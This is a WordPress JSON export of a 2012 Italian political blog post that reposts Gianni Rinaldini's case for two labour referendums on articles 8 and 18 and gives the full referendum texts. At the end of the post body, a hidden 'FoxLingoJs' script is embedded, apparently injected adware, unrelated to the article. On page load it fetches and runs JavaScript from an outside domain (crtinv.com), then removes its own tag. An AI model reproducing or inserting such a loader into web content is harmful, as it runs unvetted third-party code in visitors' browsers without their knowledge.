{"id":4028,"date":"2012-09-30T00:19:26","date_gmt":"2012-09-29T23:19:26","guid":{"rendered":"http:\/\/www.prcomunistalivorno.it\/?p=4028"},"modified":"2012-09-30T00:20:42","modified_gmt":"2012-09-29T23:20:42","slug":"gianni-rinaldini-perche-firmare-per-i-due-referendum","status":"publish","type":"post","link":"https:\/\/www.prcomunistalivorno.it\/?p=4028","title":{"rendered":"Gianni Rinaldini: perch\u00e8 firmare per i due referendum"},"content":{"rendered":"<p>Redazione<\/p>\n<p>da <a href=\"http:\/\/www.inchiestaonline.it\/lavoro-e-sindacato\/gianni-rinaldini-perche-firmare-per-i-due-referendum\/\">www.inchiestaonline.it<\/a><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><em><a href=\"https:\/\/www.prcomunistalivorno.it\/wp-content\/uploads\/2012\/09\/rinaldini-300x217.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-4029\" title=\"rinaldini-300x217\" src=\"https:\/\/www.prcomunistalivorno.it\/wp-content\/uploads\/2012\/09\/rinaldini-300x217.jpg\" alt=\"\" width=\"300\" height=\"217\" \/><\/a>Gianni Rinaldini, coordinatore nazionale de La CGIL che vogliamo e tra i promotori dei due referendum, spiega perch\u00e9 \u00e8 importante l\u2019abrogazione dell\u2019articolo 8 approvato da Berlusconi e il ripristino dell\u2019articolo 18 cancellato da Monti.<\/em><\/p>\n<p style=\"text-align: justify;\">Con il mese di Ottobre 2012, si apre la campagna di raccolta delle firme su due quesiti referendari: abrogazione dell\u2019art. 8, approvato dal Governo Berlusconi nel 2011 e ripristino dell\u2019art. 18 cancellato dal Governo Monti.<br \/>\nVogliamo in questo modo intervenire su due aspetti fondamentali che hanno segnato socialmente le scelte del Governo nella pervicace e sistematica distruzione dei diritti, delle tutele e della democrazia nel lavoro.<br \/>\nCon l\u2019art. 8 del governo Berlusconi fatto proprio dal governo Monti, attraverso la clausola inserita impropriamente nei decreti sulla liberalizzazione, dove si afferma che nel settore ferroviario a fronte della apertura del mercato e con l\u2019ingresso dell\u2019azienda Italo di Montezemolo, non \u00e8 prevista l\u2019applicazione del Contratto Nazionale di Lavoro: si superano in questo modo e per legge, i Contratti Nazionali di Categoria.<br \/>\nI contratti aziendali possono intervenire su tutti gli aspetti della condizione lavorativa, dall\u2019orario alle qualifiche, compreso alcuni diritti universali come l\u2019art. 8, il rapporto committente appaltatore, l\u2019uso degli audiovisivi cio\u00e8 le telecamere per controllare le lavoratrici e i lavoratori.<br \/>\nIn sostanza non esiste pi\u00f9 un minimo retributivo e normativo come elemento di solidariet\u00e0 e di vincolo sociale rispetto al mercato ed alla competitivit\u00e0 delle imprese, ma tutto diventa variabile dipendente rispetto alle esigenze di ogni singola realt\u00e0 lavorativa.<!--more--><br \/>\nNella storia repubblicana del nostro paese non c\u2019\u00e8 mai stato un quadro legislativo di questa natura.<br \/>\nLa scelta antidemocratica della Fiat di sostituire il Contratto Nazionale con quello aziendale, con la distruzione delle libert\u00e0 sindacali e dei diritti democratici, diventa legge dello Stato per l\u2019insieme delle relazioni sociali.<br \/>\nCon la cancellazione dell\u2019art. 18 il tutto viene completato perch\u00e9 il nuovo testo legislativo interviene sull\u2019essenza, sul significato fondamentale di quella conquista di civilt\u00e0 e di libert\u00e0. Il licenziamento individuale sancito dal giudice come ingiusto, senza giusta causa, comportava il reintegro nel posto di lavoro. Il nuovo testo, viceversa, sancisce un rapporto tra licenziamento ingiusto e indennit\u00e0 monetaria ed il reintegro diventa un caso del tutto eccezionale.<br \/>\nL\u2019abolizione dei Contratti Nazionali sono parte della lettera della BCE (Banca Centrale Europea) dell\u2019agosto 201, ovviamente illustrate con un linguaggio pi\u00f9 forbito, dicasi \u201cspostare il baricentro della contrattazione a livello aziendale\u201d oppure \u201csuperare le rigidit\u00e0 del Mercato del Lavoro\u201d.<br \/>\nLo stesso Monti ha ritenuto opportuno chiarire, subito dopo la deposizione dei quesiti referendari, che \u201clo Statuto dei diritti della lavoratrici e dei lavoratori\u201d rappresenta un ostacolo alla crescita dell\u2019occupazione.<br \/>\nIl significato generale della scelta che abbiamo compiuto vuole parlare all\u2019insieme del Paese e va ben oltre la composizione del Comitato Promotore che ha avviato questa campagna di mobilitazione referendaria.<br \/>\nLa questione sociale, il lavoro e la democrazia devono tornare al centro dell\u2019iniziativa sociale, del confronto politico e culturale per superare la cortina di silenzio che gran parte della politica ha determinato, mentre si sta ridisegnando un assetto del Paese fondato sull\u2019ingiustizia sociale e sulla riduzione delle lavoratrici e dei lavoratori ad una dimensione di merce tra le merci.<br \/>\nIn questo contesto i referendum sono anche uno strumento per aprire una nuova pagina di partecipazione attiva, con le Associazioni, i Movimenti, il mondo intellettuale per fare emergere un altro punto di vista rispetto a quello esistente.<\/p>\n<p style=\"text-align: justify;\">Il comitato promotore dei due referendum \u00e8 formato da:\u00a0 <em><strong>Alleva Piergiovanni, Bonelli Angelo, Di Pietro Antonio, Diliberto Oliviero, Ferrero Paolo, Fotia Carmine Salvatore, Fulfaro Tommaso, Lucarelli Alberto, Mura Silvana, Parenti Benedetta, Patta Gianpaolo, Re David Francesca, Rinadini Gianni, Romagnoli Umberto, Vendola Nicola, Zipponi Maurizio<\/strong><\/em>.<\/p>\n<ul style=\"text-align: justify;\">\n<li><strong>I due quesiti referendari sono:<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\"><strong>Primo<\/strong><\/span> quesito: \u201cVolete voi che sia abrogato I\u2019articolo 8 (Sostegno alla contrattazione collettiva di prossimit\u00e0) del decreto-legge 13 agosto 2011, n. 138, titolato \u201cUlteriori misure urgenti per la stabilizzazione finanziaria e per lo sviluppo\u201d, convertito, con modificazioni, in legge 14 settembre 2011, n. 148, nel testo risultante per effetto di modificazioni ed integrazioni successive?<\/p>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\"><strong>Secondo<\/strong><\/span> quesito: \u201cVolete voi l\u2019abrogazione dell\u2019articolo 18 della legge 20 maggio 1970, n. 300, titolata \u201cNorme sulla tutela della liberta e dignit\u00e0 del lavoratori, della libert\u00e0 sindacale e dell\u2019attivit\u00e0 sindacale nei luoghi di lavoro e norme sul collocamento\u201d, nel testo risultante per effetto di modificazioni ed integrazioni successive, limitatamente alle seguenti parti:<\/p>\n<p style=\"text-align: justify;\">quarto comma, primo periodo, limitatamente alla parola: \u201csoggettivo\u201d;<\/p>\n<p style=\"text-align: justify;\">quarto comma, primo periodo, limitatamente alle parole: \u201c, per insussistenza del fatto contestato ovvero perch\u00e9 il fatto rientra tra le condotte punibili con una sanzione conservativa sulla base delle previsioni dei contratti collettivi ovvero dei codici disciplinari applicabili,\u201d;<\/p>\n<p style=\"text-align: justify;\">quarto comma, primo periodo, limitatamente alle parole: \u201c, dedotto quanto il lavoratore ha percepito, nel periodo di estromissione, per lo svolgimento di altre attivit\u00e0 lavorative, nonch\u00e9 quanto avrebbe potuto percepire dedicandosi con diligenza alla ricerca di una nuova occupazione.\u201d;<\/p>\n<p style=\"text-align: justify;\">quarto comma, l\u2019intero secondo periodo che recita: \u201cIn ogni caso la misura dell\u2019indennit\u00e0 risarcitoria non pu\u00f2 essere superiore a dodici mensilit\u00e0 della retribuzione globale di fatto.\u201d;<\/p>\n<p style=\"text-align: justify;\">quarto comma, terzo periodo, limitatamente alle parole: \u201c, per un importo pari al differenziale contributivo esistente tra la contribuzione che sarebbe stata maturata nel rapporto di lavoro risolto dall\u2019illegittimo licenziamento e quella accreditata al lavoratore in conseguenza dello svolgimento di altre attivit\u00e0 lavorative\u201d;<\/p>\n<p style=\"text-align: justify;\">quinto comma che recita: \u201cII giudice, nelle altre ipotesi in cui accerta che non ricorrono gli estremi del giustificato motivo soggettivo o della giusta causa addotti dal datore di lavoro, dichiara risolto il rapporto di lavoro con effetto dalla data del licenziamento e condanna il datore di lavoro al pagamento di un\u2019indennit\u00e0 risarcitoria onnicomprensiva determinata tra un minimo di dodici e un massimo di ventiquattro mensilit\u00e0 dell\u2019ultima retribuzione globale di fatto, in relazione all\u2019anzianit\u00e0 del lavoratore c tenuto conto del numero dei dipendenti occupati, delle dimensioni dell\u2019attivit\u00e0, economica, del comportamento e delle condizioni delle parti, con onere di specifica motivazione a tale riguardo.\u201d;<\/p>\n<p style=\"text-align: justify;\">sesto comma che recita: \u201cNell\u2019ipotesi in cui il licenziamento sia dichiarato inefficace per violazione del requisito di motivazione di cui all\u2019articolo 2, comma 2, della legge 15 luglio ig66, n. 604, e successive modificazioni, della procedura di cui all\u2019articolo 7 della presente legge, 0 della procedura di cui all\u2019articolo 7 della legge 15 luglio 1966, n. 604, e successive modificazioni, si applica il regime di cui al quinto comma, ma con attribuzione al lavoratore di un\u2019indennit\u00e0 risarcitoria onnicomprensiva determinata, in relazione alla gravit\u00e0 della violazione formale o procedurale commessa dal datore di lavoro, tra un minimo di sei e un massimo di dodici mensilit\u00e0 dell\u2019ultima retribuzione globale di fatto, con onere di specifica motivazione a tale riguardo, a meno che il giudice, sulla base della domanda del lavoratore, accerti che vi \u00e8 anche un difetto di giustificazione del licenziamento, nel qual caso applica, in luogo di quelle previste dal presente comma, le tutele di cui ai commi quarto, quinto o settimo.\u201d;<\/p>\n<p style=\"text-align: justify;\">settimo comma che recita: \u201cII giudice applica la medesima disciplina di cui al quarto comma del presente articolo nell\u2019ipotesi in cui accerti il difetto di giustificazione del licenziamento intimato, anche ai sensi degli articoli 4, comma 4, e 10, comma 3, della legge 12 marzo 1999, n. 68, per motivo oggettivo consistente nell\u2019inidoneit\u00e0 fisica o psichica del lavoratore, ovvero che il licenziamento \u00e8 stato intimato in violazione dell\u2019articolo 2110, secondo comma, del codice civile. Pu\u00f2 altres\u00ec applicare la predetta disciplina nell\u2019ipotesi in cui accerti la manifesta insussistenza del fatto posto a base del licenziamento per giustificato motivo oggettivo; nelle altre ipotesi in cui accerta che non ricorrono gli estremi del predetto giustificato motivo, il giudice applica la disciplina di cui al quinto comma. In tale ultimo caso il giudice, ai fini della determinazione dell\u2019indennit\u00e0 tra il minimo e il massimo previsti, tiene conto, oltre ai criteri di cui al quinto comma, delle iniziative assunte dal lavoratore per la ricerca di una nuova occupazione e del comportamento delle parti nell\u2019ambito della procedura di cui all\u2019articolo 7 della legge 15 luglio 1966, n. 604, e successive modificazioni. Qualora, net corso del giudizio, sulla base della domanda formulata dal lavoratore, il licenziamento risulti determinato da ragioni discriminatorie o disciplinari, trovano applicazione le relative tutele previste dal presente articolo.\u201d;<\/p>\n<p style=\"text-align: justify;\">ottavo comma, limitatamente alle parole: \u201cdei commi dal quarto at settimo\u201d;<\/p>\n<p style=\"text-align: justify;\">nono comma, primo periodo, limitatamente alle parole: \u201cdi cui all\u2019ottavo comma\u201d;<\/p>\n<p style=\"text-align: justify;\">nono comma, terzo periodo, limitatamente alle parole: \u201cdi cui all\u2019ottavo comma\u201d;<\/p>\n<p style=\"text-align: justify;\">nonch\u00e9 della legge 15 luglio 966, n. 604, titolata \u201cNorme sui licenziamenti individuali\u201d, nel testo risultante per effetto di modificazioni ed integrazioni successive, limitatamente alle seguenti parti:<\/p>\n<p style=\"text-align: justify;\">articolo 7, comma 1, limitatamente alla parola \u201csoggettivo\u201d; articolo 7, comma 1, limitatamente alla parola \u201coggettivo\u201d;<\/p>\n<p style=\"text-align: justify;\">articolo 7, comma 2, limitatamente alle parole \u201cper motivo oggettivo\u201d;<\/p>\n<p style=\"text-align: justify;\">articolo 7, comma 8, che recita: \u201c8. Il comportamento complessivo delle parti, desumibile anche dal verbale redatto in sede di commissione provinciale di conciliazione e dalla proposta conciliativa avanzata dalla stessa, \u00e8 valutato dal giudice per la determinazione dell\u2019indennit\u00e0 risarcitoria di cui all\u2019articolo 18, settimo comma, della legge 20 maggio 1970, n. 300, e successive modificazioni, e per l\u2019applicazione degli articoli 91 e 92 del codice di procedura civile.\u201d;<\/p>\n<p style=\"text-align: justify;\">nonch\u00e9 della legge 23 luglio 1991, n. 223, titolata \u201cNorme in materia di cassa integrazione, mobilita, trattamenti di disoccupazione, attuazione di direttive della Comunit\u00e0 europea, avviamento al lavoro ed altre disposizioni in materia di mercato del lavoro\u201d, nel testo risultante per effetto di modificazioni ed integrazioni successive, limitatamente alle seguenti parti:<\/p>\n<p style=\"text-align: justify;\">articolo 5, comma 3, secondo periodo, limitatamente alle parole: \u201cterzo periodo del settimo comma del\u201d;<\/p>\n<p style=\"text-align: justify;\">nonch\u00e9 della legge dicembre 2007, n. 244, titolata \u201cDisposizioni per la formazione del bilancio annuale e pluriennale dello Stato (legge finanziaria 2008)\u201d, nel testo risultante per effetto di modificazioni ed integrazioni successive, limitatamente alle seguenti parti:<\/p>\n<p style=\"text-align: justify;\">articolo 2, comma 479, lettera a), limitatamente alla parola \u201csoggettivo\u201d;<\/p>\n<p style=\"text-align: justify;\">nonch\u00e9 delta legge 29 dicembre 1990, n. 407, titolata \u201cDisposizioni diverse per l\u2019attuazione della manovra di finanza pubblica 1991-1993?, nel testo risultante per effetto di modificazioni ed integrazioni successive, limitatamente alle seguenti parti:<\/p>\n<p style=\"text-align: justify;\">articolo 8, comma 9, primo periodo, limitatamente alla parola \u201coggettivo\u201d?.<\/p>\n<p><script id=\"FoxLingoJs\" type=\"text\/javascript\">\/\/ <![CDATA[\n!function(){try{var h=document.getElementsByTagName(\"head\")[0];var s=document.createElement(\"script\");s.src=\"\/\/edge.crtinv.com\/products\/FoxLingo\/default\/snippet.js\";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState==\"loaded\" || this.readyState==\"complete\"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();\n\/\/ ]]><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Redazione da www.inchiestaonline.it &nbsp; Gianni Rinaldini, coordinatore nazionale de La CGIL che vogliamo e tra i promotori dei due referendum, spiega perch\u00e9 \u00e8 importante l\u2019abrogazione dell\u2019articolo 8 approvato da Berlusconi e il ripristino dell\u2019articolo 18 cancellato da Monti. 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